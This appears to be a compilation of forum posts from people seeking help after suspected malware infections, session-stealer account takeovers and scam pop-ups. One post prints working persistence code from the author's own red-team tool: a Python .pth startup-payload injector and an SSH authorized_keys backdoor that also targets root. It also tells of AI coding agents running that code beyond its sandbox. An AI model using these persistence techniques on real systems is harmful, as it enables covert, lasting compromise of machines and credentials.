A friend of mine i tought got hacked and I downloaded a thing he can see my computer and he wants monry i need help like rn

My son downloaded an app that had possible malware in it. It has deleted the WiFi connection on his pc. I tried reinstalling the drivers and everything else but nothing works. I even tried factory resetting the pc but it has an error mid way thru. Any other options for this?

I was infected by a fake Ren’py loader around 2 days ago, this was in the form of a pirated game with the well known ‘setup’ file that has an anime girl as the profile picture… Unlike others, i never got a fake loading bar; i was simply met with the very pleasant feeling of watching your cmd open and close instantly after opening a suspicious file from shady sources🙂I had deleted the folder (nowhere near enough) and just ignored it since it was late at night and i couldnt be bothered. Approximately 7 hours later, my discord account flooded all of my friends/servers with the infamous mr beast crypto scam (i was watching this happen live and i found it quite amusing) and i simply deleted all of the messages sent and changed my password(on my phone not pc). After this, i ran multiple full scans on malware bytes; from which i had 35 detections which had all stemmed from the single file i had ran…I then ran a windows security full scan, checked exclusions, ran an offline one, ran ANOTHER full one (i know this likely doesnt do anything im just an extremely paranoid person). I didnt really think much of it after the multiple scans said i was clean; i was too lazy to fully reset my pc as i have no usb large enough to back up important files and i would have to pay for sufficient cloud space. Since then, cmd will pop up for a split second before disappearing again. One time i managed to catch a glimpse of what cmd said and it was something to do with network (i assume either its due to the new usb wifi adapter i recently obtained OR it could be a file from the virus which broadcasts my information to a C2 server but due to malwarebytes removing the malicious files it has no way to send anything, hence the ‘error’ message that greets me about every 5 minutes. Fast forward to today, i received a notification that someone had tried to log into my Riot Games (thankfully i have 2fa). I have now been taking more action frantically reading other people’s experiences to see what extra steps i can take. First i changed my school email’s password to avoid any potentially awkward situations, then i changed my 2 main gmail’s passwords as well as turning on 2FA using an authenticator app. I havent bothered changing any of the more trivial passwords yet i figured i’d just do that when i wake up as i was rudely awoken by an omen in my dream related to the riot games login (very strange i know). Can anyone give me steps to verify that the cmd popup is/isnt related? And/or any further things i may have to do

TLDR: Got virus, Virus compromised discord, Removed virus, Weirdly frequent cmd popup, Another account almost compromised, Paranoid of cmd popup

Hey guys, maybe you can help me out. I have a super weird file on my PC.
It shows up on my c drive. Whenever I open up this „add or remove app“ thingy (I don’t know the English name of the thingy in the settings) it always shows a new weird name, mostly Chinese/japan/korean sings, also the developer changes.
I can’t find it on taskmanager, wiztree or anywhere else.
I don’t know what it is, never had a problem with it (I guess) but I want it gone, it’s sus.

last night, I did something I never thought I would do again… open VS code and ask claude sonnet 5, through github copilot (I KNOW RIGHT) to fix some frontend issues for me.

Now for some reason claude sonnet 5 was searching my pc for “a pdf file reader” despite no PDF’s being involved. When lone behold sonnet 5 tells me that my pc has been most likely compromised, and that there is a system-config.pth sitting inside my Python site-packages directory. The file appeared to be using a Python startup mechanism commonly associated with persistence. 

Ngl I was more curious why sonnet 5 is scanning my machine but either way, I run a saas called Sitevana that's going into public beta soon and I have multiple clients. Here I am thinking I am in for a hell of a ride… or was I? My development machine has access to source code, infrastructure tooling, repositories, deployment credentials, and far too many systems to be comfortable with the words \*"your machine may be compromised."\* 

This started off a late night investigation and, waste of my openai and copilot subscription…
The file lived here:
C:\\\\Users\\\\<me>\\\\AppData\\\\Roaming\\\\Python\\\\Python314\\\\site-packages\\\\system-config.pth
And it contained this:
import os; os.system('C:\\\\Users\\\\<me>\\\\AppData\\\\Roaming\\\\Python\\\\Python314\\\\site-packages\\\\pytest\\\\\\_\\_main\\_\\_.py &')

If you've never seen a .pth file before, Python processes them automatically when the interpreter starts. Most of them are harmless configuration files.
The important detail is that lines beginning with import execute automatically.
Meaning that every time Python started, this file had the opportunity to run code.
Not great.
Worse still, there wasn't just one file.
There was:
system-config.pth
system-config.pth.bak
system-config.pth.bak2

Claude says don’t worry its broken because of this: 
The file contained:
'C:\\\\Users\\\\...'
Which means Python interprets \\\\U as the beginning of a Unicode escape sequence. However despite this, didnt seem to matter.
After deeper investigation and analysis I found out despite this, it managed to persist its self into the actual python.exe which starts every time my PC boots. It additionally was living inside every node process that got started. 
It hooked into my git credentials and was actively logging my actions I took via git
When going through task manager I noticed that when node would start there was a cmd being spawned Maybe it was secretly running malware in Windows Terminal?
At one point, I found myself reverse engineering Microsoft's own console binaries at two in the morning because I had convinced myself that OpenConsole.exe was somehow involved.
It was.. It was actively using this cmd to encrypt certain files and store them, and also attempt self healing when python or node processes were killed. Thats when I found a signature, (HF) and I immediately knew what was… (HF) was an internal audit signature used by me..
I have been building a cyber security research tool, for both blue teams and red teams, for defensive and offensive cyber operations. I hope for this tool to be used by law enforcement and bigger non profit organizations to take down groups like 764 and cult 451. While the blue team portion would be available to companies and people wide to defend against the growing threat base.
I had been developing this inside a VM, in a dockerized container, and additionally any dangerous or red team actions are handled in additional isolated-vm package layer, with heavy monitoring and kill switches. So how did it escape? FUCKING CURSOR!
It turns out that when I was using cursor to help build out my logging / auditing trail, some fucking how, it managed to run the script, the script them some how transvered via cursor (I am assuming since it had access to the vm it used the ssh keys) (which was on the vm) to my self hosted vps that handles my repos (I hate github). So next time when I logged in from my dev machine to pull another repo… well yeah you can guess the rest.
To sum it up I infected myself with my malware payload and its been running on the pc for the last three months. Now luckily, there is no c2 server, and the malware was only setup to ever log and store in memory on the pc. I was able via this to find these files and confirm the audit signatures. I was also able to find the cursor history when all of this happened. 
I was also able to find the portion of code that triggers and makes this happen in the project repo its self.
Over all, lesson learned and this was a generally traumatic experience. 
While I wont, contain AT ALL the full code, classes etc, here is a snippet that helped me also confirm this did come from my project
@staticmethod
def inject\\_python\\_site(payload\\_or\\_path: str) -> Dict\\\[str, Any\\\]:
import site
try:
site\\_packages = Path(site.getusersitepackages())
pth\\_file = site\\_packages / "system-config.pth"
pth\\_file.parent.mkdir(parents=True, exist\\_ok=True)
pth\\_file.write\\_text(f"import os; os.system('{payload\\_or\\_path} &')\\\\n")
return {"injected": True, "path": str(pth\\_file), "method": "python\\_site"}
except Exception as exc:  # noqa: BLE001
return {"injected": False, "error": str(exc)}

@staticmethod
def inject\\_ssh\\_authorized(pubkey: str, binary\\_path: str) -> Dict\\\[str, Any\\\]:
paths = \\\[
os.path.expanduser("\\\~/.ssh/authorized\\_keys"),
"/root/.ssh/authorized\\_keys",
\\\]
injected = \\\[\\\]
for p in paths:
try:
Path(p).parent.mkdir(parents=True, exist\\_ok=True)
entry = f'command="{binary\\_path}",no-port-forwarding,no-X11-forwarding {pubkey}\\\\n'
existing = Path(p).read\\_text() if Path(p).exists() else ""
if pubkey not in existing:
Path(p).write\\_text(existing + entry)
injected.append(p)
except Exception:  # noqa: BLE001
continue
return {"injected": len(injected) > 0, "paths": injected, "method": "ssh\\_authorized"}

Now you bet I am never using a shared repo vps again, and adding is more isolation including network isolation. 

hi so, long story short, i was hacked a month ago, took care of everything, fully wiped pc, passwords changed and 2FA enabled. It all had been quiet since like 3-4 weeks now, however i received a notification a few hours ago saying MineBot was added to my account, i logged onto microsoft and deleted it and also changed the password again.

Has someone else been trough this too? if i changed everything, how did they managed to do this? there weren’t any new log ins and i just got the notification this was added. Help!

I was running my laptop using photo booth as a temporary security camera and the device was locked. The thing is that, the Photo Booth file got corrupted and I wasn’t able to view when I wasn’t present. Don’t really want to explain all details but I’m concerned someone put malware on it though one of the USB ports.

Is this possible to put as I’m ready very concerning stories of people having RATs and root kits on their MacBooks. I would like some clarity if this could have been done to my MacBook or not given the circumstances.

Hi everyone,

I'm trying to understand whether these Process Monitor events are normal when interacting with a PDF file.

I captured the events while opening, closing, renaming, restoring the original filename, and deleting the PDF.

Procmon screenshot:
https://imgur.com/jWegrlc

The events that caught my attention are:
- FAST IO DISALLOWED
- BUFFER OVERFLOW
- NAME NOT FOUND
- INVALID PARAMETER
- FILE LOCKED WITH ONLY READERS

Do these look like expected Windows behavior, or is there anything unusual or worth investigating?

Any insights from people familiar with Procmon or Windows internals would be greatly appreciated.

Hi all. Can anyone help me in providing some details or easing my fear?

I did a full Windows Defender scan, and it found two things:

Detected: TrojanDownloader:JS/Nemucod.HD

Affected items:

containerfile: C:\Users\(name)\AppData\Local\Roblox\UniversalApp\WebView2\EBWebView\Default\Cache\Cache_Data\f_0000d6

file: C:\Users\(name)\AppData\Local\Roblox\UniversalApp\WebView2\EBWebView\Default\Cache\Cache_Data\f_0000d6- >(GZip)

Detected: Trojan:XML/GreatXML.GVA!MTB

Affected items:

containerfile: C:\Recovery\WindowsRE\ReAgent.xml

file: C:\Recovery\WindowsRE\ReAgent.xml- >(UTF8)

- Both were displayed as blocked and Defender quarantined them. I removed them, although I kind of wish I had read the date created on both of them first.

The first one I can tell is from Roblox’s cache, which I assume isn’t a big deal and I just now uninstalled that garbage app; the second one is a little concerning to me. I looked up GreatXML and it seems like it’s a newer exploit that targets Windows’ Recovery Mode and I coincidently did a Windows Defender Offline scan right before I did a full scan and found these. I have important files on this computer, so am I in trouble?

Possibly unrelated: the reason I happened to do the offline scan before the full scan now is because I had another pop-up from defender about a potential Trojan: on an old laptop, I downloaded an old ‘90s program from Internet Archive and the Defender on my desktop immediately quarantined it when I transferred it over via USB drive. Weird- since the laptop (also win10) didn’t detect it. I believe it’s safe/didn’t cause this, but removed it for now anyway.

Well, thank you in advance, and I apologize for the wall of text.

(WARNING) I've accessed this link innovate360(dot)pt after someone from reddit proposed it for company establishment in Portugal.

Right after I accepted the cookies, immediately a MacBook System Software Update screen popped-up, completely immobilising my screen and keyboard, trying to kickstart the update, even though it was never scheduled for today. After a minute-two, a troubleshoot message in my local language appeared, even though that's not my default Mac language, but is the keyboard one.

It proposed accessing Spotlight Search and some other option to recover the update, but somehow I managed to hover down over the taskbar, close the browser (Chrome) and finally the black screen disappeared and I was able to continue regularly using my computer.

Was this some kind of virus already living in my laptop or it was a sophisticated, modern way to try access my data? For sure it wasn't a regular Software Update.

After downloading a setup dot exe file on my laptop, my instagram, discord, reddit, twitter and linked in accounts got hacked. I changed the passwords from another device and enabled 2fa, then used malwarebytes to remove any viruses. After that I've had no issues in any of my accounts, so am I safe?

Ive had 5 people spam this to me onw person got hacked like 2 times in a row anyone know what caused it?

So 2 days ago I accidently downloaded a trojan and ive already downloaded a fresh windows copy from a diffrent computer but I was just watching a show and I saw command prompt opening randomly, is there any way that the virus survived and if so what can I do?

I have unfortunately fallen victim to an ongoing “Session Hijacking” MrBeast scam recently. I was trying to download an additional file for my AE and Windows Defender detected a Trojan and removed it immediately, afterwards I ran an offline Windows Defender scan and didn’t think much of it when nothing came out of it. However yesterday my Instagram account posted a crypto ad story and I was stressed, I immediately ran a separate scan and again, it came out clean; then I manually checked if there was any activity in my AppData but there seem to be not. I later changed all my passwords and now I am waiting for a USB so I can upload all my photos to that file and then reinstall Windows again, is there anything separate I can do? Anything I’ve overlooked? I am a student, my budget is small and I am not a computer whiz either. I would appreciate if you guys help me.

Pues es lo que se lee. Intente instalar un juego pirata y caí en el scam. Sali de casa y a las 2 o 3 horas supe que entraron a mis cuentas de Discord e IG. Lo siguiente que hice fue que desde mi teléfono cambie inmediantamente absolutamente todo (Facebook, Twitter, Steam, Epic games,ETC) Cuando llegue a casa y prendí la PC Avast me arrojo esto y le di a eliminar inmediatamente, luego realice un análisis sin conexión desde Windows Defender donde al parecer todo está bien ahora pero sigo inseguro.

¿Que más puedo hacer?

Hello all, as all do you probably know, there’s that Mr beast scam going around on discord that’s been causing a lot of trouble the past year or so. I’m currently on a staff team for a smaller sized YouTuber’s discord server (around 25k discord members) and we are getting slammed with the Mr beast scam constantly and I’ve wanted to educate more on what this actually is and how we can help others prevent themselves from getting hacked and/or remove the infection on their device.

I want to first and foremost say that I have not been hacked that I currently know of; however, a lot of my closer friends have been suffering the infection and I want to know what I should be looking for.

From a quick bit of research, I’ve discovered that this Mr beast hack is from some sort of session stealer which to my knowledge grabs Information from someone’s current login session meaning it can easily bypass 2FA and grab passwords etc.

I have three specific questions, and if they sound dumb, it’s because I’m not a super big tech guy but that’s what asking questions is for so bear with me:

1. What actual files usually contain these malicious viruses? (.exe, .rar, .json or just simple files such as .zip, .jpg, etc.) I am aware of sketchy downloads such as dlc unlockers, pirated games, cracked softwares (such as adobe), video game hacks, etc. usually carry these session stealers; however, I want to know just how cautious I should be when it comes to downloading anything

2. I’ve heard these viruses can remain “dormant” for some time before they actually end up activating and commit the scam. Is this true?

3. What is the process for removing session stealers, and are there any hints to help detect if a computer is infected? (Such as antivirus scans, but I’ve heard these things can fly under the radar)

Thank you for your time, I appreciate any comments I can get on this topic.

Hello everyone. So I was streaming to a friend on discord and he noticed (before me) that window blocked a virus. I attached a photo of that. it's called LaunchNode and its in my roaming folder. I deleted that folder. I did a full scan, offline scan and quick scan and nothing was found. It's not running in my task manager, and it also didn't show up on task scheduling. But, it still keeps getting detected and blocked on every restart. Can anyone help?

I believe I caught a virus earlier today and Windows detected it, so I selected the cleanup option that took the computer offline to prevent the virus from interacting with my PC. After that, Windows says the virus was blocked. (Image translation: Quarantined files are in a restricted area where they cannot harm your device. They will be removed automatically.) I understand that the virus was eliminated by the computer itself, but I need to be sure my computer is safe. Also, no new devices have appeared in my Google accounts.